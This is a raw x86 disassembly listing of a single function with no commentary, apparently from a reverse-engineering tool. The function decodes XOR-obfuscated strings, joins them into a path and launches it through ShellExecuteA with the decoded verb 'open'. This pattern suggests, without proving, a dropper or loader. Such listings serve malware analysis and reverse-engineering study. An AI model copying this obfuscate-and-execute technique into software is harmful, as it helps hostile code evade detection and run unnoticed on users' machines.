mov byte [ebp - 0x128], 0
mov byte [ebp - 4], 0x1d
mov ecx, dword [ebp - 0x190]
cmp ecx, 0x10
jb 0x417f87
mov edx, dword [ebp - 0x1a4]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x417f7d
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x41886d
push ecx
push edx
call fcn.004dd461
add esp, 8
cmp dword [ebp - 0xc4], 0x10
lea edx, [ebp - 0xd8]
xorps xmm0, xmm0
mov dword [ebp - 0x194], 0
cmovae edx, dword [ebp - 0xd8]
sub esp, 0x18
mov esi, esp
mov dword [ebp - 0x190], 0xf
mov ecx, edx
mov byte [ebp - 0x1a4], 0
movups xmmword [esi], xmm0
lea eax, [ecx + 1]
mov dword [esi + 0x10], 0
mov dword [esi + 0x14], 0
mov dword [ebp - 0x18], eax
mov al, byte [ecx]
inc ecx
test al, al
jne 0x417fd7
sub ecx, dword [ebp - 0x18]
push ecx
push edx
mov ecx, esi
call fcn.004028a0
xor cl, cl
call fcn.00416950
movaps xmm0, xmmword [0x526140]
add esp, 0x18
movups xmmword [ebp - 0xfa], xmm0
mov dword [ebp - 0xea], 0xa0b9e5e9
xor ecx, ecx
mov dword [ebp - 0xe6], 0x978686ed
mov dword [ebp - 0xe2], 0x80809799
mov word [ebp - 0xde], 0x100
nop dword [eax + eax]
mov al, cl
sub al, 0x47
xor byte [ebp + ecx - 0xfa], al
inc ecx
cmp ecx, 0x1c
jb 0x418030
mov byte [ebp - 0xdd], 0
xor ecx, ecx
mov dword [ebp - 0x29], 0xc8949a9b
mov dword [ebp - 0x25], 0x9d9ed3
mov byte [ebp - 0x21], 1
nop dword [eax]
mov al, cl
sub al, 0x47
xor byte [ebp + ecx - 0x29], al
inc ecx
cmp ecx, 7
jb 0x418060
mov byte [ebp - 0x21], 0
xor ecx, ecx
mov dword [ebp - 0x42], 0xc8949a9b
mov dword [ebp - 0x3e], 0x9d9ecf
mov byte [ebp - 0x3a], 1
mov al, cl
sub al, 0x47
xor byte [ebp + ecx - 0x42], al
inc ecx
cmp ecx, 7
jb 0x418086
xorps xmm0, xmm0
mov byte [ebp - 0x3a], 0
lea ecx, [ebp - 0x388]
mov dword [ebp - 0x1ac], 0
movups xmmword [ebp - 0x1bc], xmm0
mov dword [ebp - 0x1a8], 0
lea edx, [ecx + 1]
nop
mov al, byte [ecx]
inc ecx
test al, al
jne 0x4180c0
sub ecx, edx
lea eax, [ebp - 0x388]
push ecx
push eax
lea ecx, [ebp - 0x1bc]
call fcn.004028a0
mov byte [ebp - 4], 0x1e
xor ecx, ecx
movaps xmm0, xmmword [0x526fe0]
movups xmmword [ebp - 0x128], xmm0
mov dword [ebp - 0x118], 0xecade5e9
mov dword [ebp - 0x114], 0xf09a9ce2
mov word [ebp - 0x110], 0xf3
mov byte [ebp - 0x10e], 1
mov al, cl
sub al, 0x47
xor byte [ebp + ecx - 0x128], al
inc ecx
cmp ecx, 0x19
jb 0x418114
lea eax, [ebp - 0x1bc]
mov byte [ebp - 0x10e], 0
push eax
lea edx, [ebp - 0x128]
lea ecx, [ebp - 0x144]
call fcn.00469ec0
add esp, 4
lea ecx, [ebp - 0x42]
mov byte [ebp - 4], 0x1f
push ecx
mov ecx, eax
call fcn.00465e20
mov dword [ebp - 0x64], 0
xorps xmm0, xmm0
movups xmmword [ebp - 0x74], xmm0
mov dword [ebp - 0x60], 0
movups xmm0, xmmword [eax]
movups xmmword [ebp - 0x74], xmm0
movq xmm0, qword [eax + 0x10]
movq qword [ebp - 0x64], xmm0
mov dword [eax + 0x10], 0
mov dword [eax + 0x14], 0xf
mov byte [eax], 0
mov byte [ebp - 4], 0x20
lea edx, [ebp - 0xbc]
cmp dword [ebp - 0xa8], 0x10
mov ecx, dword [ebp - 0xac]
cmovae edx, dword [ebp - 0xbc]
mov eax, dword [ebp - 0x60]
mov esi, dword [ebp - 0x64]
sub eax, esi
mov dword [ebp - 0x18], ecx
push ecx
push edx
cmp ecx, eax
ja 0x4181e4
cmp dword [ebp - 0x60], 0x10
lea eax, [esi + ecx]
mov dword [ebp - 0x64], eax
lea eax, [ebp - 0x74]
cmovae eax, dword [ebp - 0x74]
add esi, eax
push esi
call fcn.004deec0
mov eax, dword [ebp - 0x18]
add esp, 0xc
mov byte [eax + esi], 0
lea eax, [ebp - 0x74]
jmp 0x4181f4
mov byte [ebp - 0x17], 0
push dword [ebp - 0x17]
push ecx
lea ecx, [ebp - 0x74]
call fcn.0046bf80
mov dword [ebp - 0x254], 0
xorps xmm0, xmm0
movups xmmword [ebp - 0x264], xmm0
mov dword [ebp - 0x250], 0
movups xmm0, xmmword [eax]
movups xmmword [ebp - 0x264], xmm0
movq xmm0, qword [eax + 0x10]
movq qword [ebp - 0x254], xmm0
mov dword [eax + 0x10], 0
mov dword [eax + 0x14], 0xf
mov byte [eax], 0
lea eax, [ebp - 0x29]
mov byte [ebp - 4], 0x21
push eax
lea ecx, [ebp - 0x264]
call fcn.00465e20
mov dword [ebp - 0x7c], 0
xorps xmm0, xmm0
movups xmmword [ebp - 0x8c], xmm0
mov dword [ebp - 0x78], 0
movups xmm0, xmmword [eax]
movups xmmword [ebp - 0x8c], xmm0
movq xmm0, qword [eax + 0x10]
movq qword [ebp - 0x7c], xmm0
mov dword [eax + 0x10], 0
mov dword [eax + 0x14], 0xf
mov byte [eax], 0
mov byte [ebp - 4], 0x22
lea ecx, [ebp - 0x15c]
cmp dword [ebp - 0x148], 0x10
mov edx, dword [ebp - 0x7c]
cmovae ecx, dword [ebp - 0x15c]
mov eax, dword [ebp - 0x78]
sub eax, edx
mov dword [ebp - 0x18], edx
push edi
push ecx
cmp edi, eax
ja 0x4182e8
cmp dword [ebp - 0x78], 0x10
lea esi, [ebp - 0x8c]
lea eax, [edi + edx]
cmovae esi, dword [ebp - 0x8c]
mov dword [ebp - 0x7c], eax
lea eax, [esi + edx]
push eax
call fcn.004deec0
mov ecx, dword [ebp - 0x18]
lea eax, [edi + esi]
add esp, 0xc
mov byte [eax + ecx], 0
lea eax, [ebp - 0x8c]
jmp 0x4182fb
mov byte [ebp - 0x17], 0
lea ecx, [ebp - 0x8c]
push dword [ebp - 0x17]
push edi
call fcn.0046bf80
mov dword [ebp - 0x23c], 0
xorps xmm0, xmm0
movups xmmword [ebp - 0x24c], xmm0
mov dword [ebp - 0x238], 0
movups xmm0, xmmword [eax]
movups xmmword [ebp - 0x24c], xmm0
movq xmm0, qword [eax + 0x10]
movq qword [ebp - 0x23c], xmm0
mov dword [eax + 0x10], 0
mov dword [eax + 0x14], 0xf
mov byte [eax], 0
lea eax, [ebp - 0xfa]
mov byte [ebp - 4], 0x23
push eax
lea ecx, [ebp - 0x24c]
call fcn.00465e20
movups xmm0, xmmword [eax]
movups xmmword [ebp - 0x1a4], xmm0
movq xmm0, qword [eax + 0x10]
movq qword [ebp - 0x194], xmm0
mov dword [eax + 0x10], 0
mov dword [eax + 0x14], 0xf
mov byte [eax], 0
mov byte [ebp - 4], 0x25
mov ecx, dword [ebp - 0x238]
cmp ecx, 0x10
jb 0x4183bd
mov edx, dword [ebp - 0x24c]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x4183b3
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x418872
push ecx
push edx
call fcn.004dd461
add esp, 8
mov dword [ebp - 0x23c], 0
mov dword [ebp - 0x238], 0xf
mov byte [ebp - 0x24c], 0
mov byte [ebp - 4], 0x26
mov ecx, dword [ebp - 0x78]
cmp ecx, 0x10
jb 0x418413
mov edx, dword [ebp - 0x8c]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x418409
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x418872
push ecx
push edx
call fcn.004dd461
add esp, 8
mov dword [ebp - 0x7c], 0
mov dword [ebp - 0x78], 0xf
mov byte [ebp - 0x8c], 0
mov byte [ebp - 4], 0x27
mov ecx, dword [ebp - 0x250]
cmp ecx, 0x10
jb 0x418466
mov edx, dword [ebp - 0x264]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x41845c
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x418872
push ecx
push edx
call fcn.004dd461
add esp, 8
mov dword [ebp - 0x254], 0
mov dword [ebp - 0x250], 0xf
mov byte [ebp - 0x264], 0
mov byte [ebp - 4], 0x28
mov ecx, dword [ebp - 0x60]
cmp ecx, 0x10
jb 0x4184b9
mov edx, dword [ebp - 0x74]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x4184af
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x418872
push ecx
push edx
call fcn.004dd461
add esp, 8
mov dword [ebp - 0x64], 0
mov dword [ebp - 0x60], 0xf
mov byte [ebp - 0x74], 0
mov byte [ebp - 4], 0x29
mov ecx, dword [ebp - 0x130]
cmp ecx, 0x10
jb 0x418509
mov edx, dword [ebp - 0x144]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x4184ff
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x418872
push ecx
push edx
call fcn.004dd461
add esp, 8
mov dword [ebp - 0x134], 0
mov dword [ebp - 0x130], 0xf
mov byte [ebp - 0x144], 0
mov byte [ebp - 4], 0x2a
mov ecx, dword [ebp - 0x1a8]
cmp ecx, 0x10
jb 0x418562
mov edx, dword [ebp - 0x1bc]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x418558
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x418872
push ecx
push edx
call fcn.004dd461
add esp, 8
cmp dword [ebp - 0x190], 0x10
lea edx, [ebp - 0x1a4]
xorps xmm0, xmm0
mov dword [ebp - 0x1ac], 0
cmovae edx, dword [ebp - 0x1a4]
sub esp, 0x18
mov esi, esp
mov dword [ebp - 0x1a8], 0xf
mov ecx, edx
mov byte [ebp - 0x1bc], 0
movups xmmword [esi], xmm0
mov dword [esi + 0x10], 0
lea edi, [ecx + 1]
mov dword [esi + 0x14], 0
nop
mov al, byte [ecx]
inc ecx
test al, al
jne 0x4185b0
sub ecx, edi
push ecx
push edx
mov ecx, esi
call fcn.004028a0
xor cl, cl
call fcn.00416950
mov byte [ebp - 4], 0x1d
add esp, 0x18
mov ecx, dword [ebp - 0x190]
cmp ecx, 0x10
jb 0x41860a
mov edx, dword [ebp - 0x1a4]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x418600
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x418877
push ecx
push edx
call fcn.004dd461
add esp, 8
mov byte [ebp - 4], 0x10
mov ecx, dword [ebp - 0xc4]
cmp ecx, 0x10
jb 0x418648
mov edx, dword [ebp - 0xd8]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x41863e
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x418877
push ecx
push edx
call fcn.004dd461
add esp, 8
sub esp, 0x18
lea eax, [ebp - 0xbc]
mov ecx, esp
push eax
call fcn.00466110
call fcn.0040bf60
add esp, 0x18
test al, al
je 0x4186ad
cmp dword [ebp - 0xa8], 0x10
lea edx, [ebp - 0xbc]
mov dword [ebp - 0x19], 0xd2decad6
cmovae edx, dword [ebp - 0xbc]
xor ecx, ecx
mov word [ebp - 0x15], 0x100
mov al, cl
sub al, 0x47
xor byte [ebp + ecx - 0x19], al
inc ecx
cmp ecx, 4
jb 0x418688
push 1
push 0
push 0
push edx
lea eax, [ebp - 0x19]
mov byte [ebp - 0x14], 0
push eax
push 0
call dword [sym.imp.SHELL32.dll_ShellExecuteA]
mov ecx, dword [ebp - 0xa8]
cmp ecx, 0x10
jb 0x4186e7
mov edx, dword [ebp - 0xbc]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x4186dd
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x41887c
push ecx
push edx
call fcn.004dd461
add esp, 8
mov ecx, dword [ebp - 0x48]
cmp ecx, 0x10
jb 0x41871b
mov edx, dword [ebp - 0x5c]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x418711
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x418881
push ecx
push edx
call fcn.004dd461
add esp, 8
mov ecx, dword [ebp - 0x1c0]
cmp ecx, 0x10
jb 0x418755
mov edx, dword [ebp - 0x1d4]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x41874b
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x418886
push ecx
push edx
call fcn.004dd461
add esp, 8
mov eax, dword [ebp - 0x148]
mov dword [ebp - 0x1c4], 0
mov dword [ebp - 0x1c0], 0xf
mov byte [ebp - 0x1d4], 0
cmp eax, 0x10
jb 0x4187ac
mov edx, dword [ebp - 0x15c]
lea ecx, [eax + 1]
mov eax, edx
cmp ecx, 0x1000
jb 0x4187a2
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x418886
push ecx
push edx
call fcn.004dd461
add esp, 8
mov ecx, dword [ebp - 0x268]
cmp ecx, 0x10
jb 0x4187e6
mov edx, dword [ebp - 0x27c]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x4187dc
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x418886
push ecx
push edx
call fcn.004dd461
add esp, 8
mov ecx, dword [ebp - 0x1d8]
cmp ecx, 0x10
jb 0x41881c
mov edx, dword [ebp - 0x1ec]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x418812
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x418886
push ecx
push edx
call fcn.004dd461
add esp, 8
mov ecx, dword [ebp - 0xc]
pop edi
mov dword fs:[0], ecx
pop esi
mov esp, ebp
pop ebp
mov esp, ebx
pop ebx
ret
call fcn.00402060
call fcn.00402060
call fcn.00402060
push eax
call fcn.004dc40b
call fcn.00402060
call fcn.004e2700
call fcn.004e2700
call fcn.004e2700
push eax
call fcn.004dc40b
call fcn.004e2700
call fcn.00402060
call fcn.004e2700
call fcn.004e2700
call fcn.004e2700
call fcn.004e2700
call fcn.004e2700
call fcn.004e2700
call fcn.004e2700
int3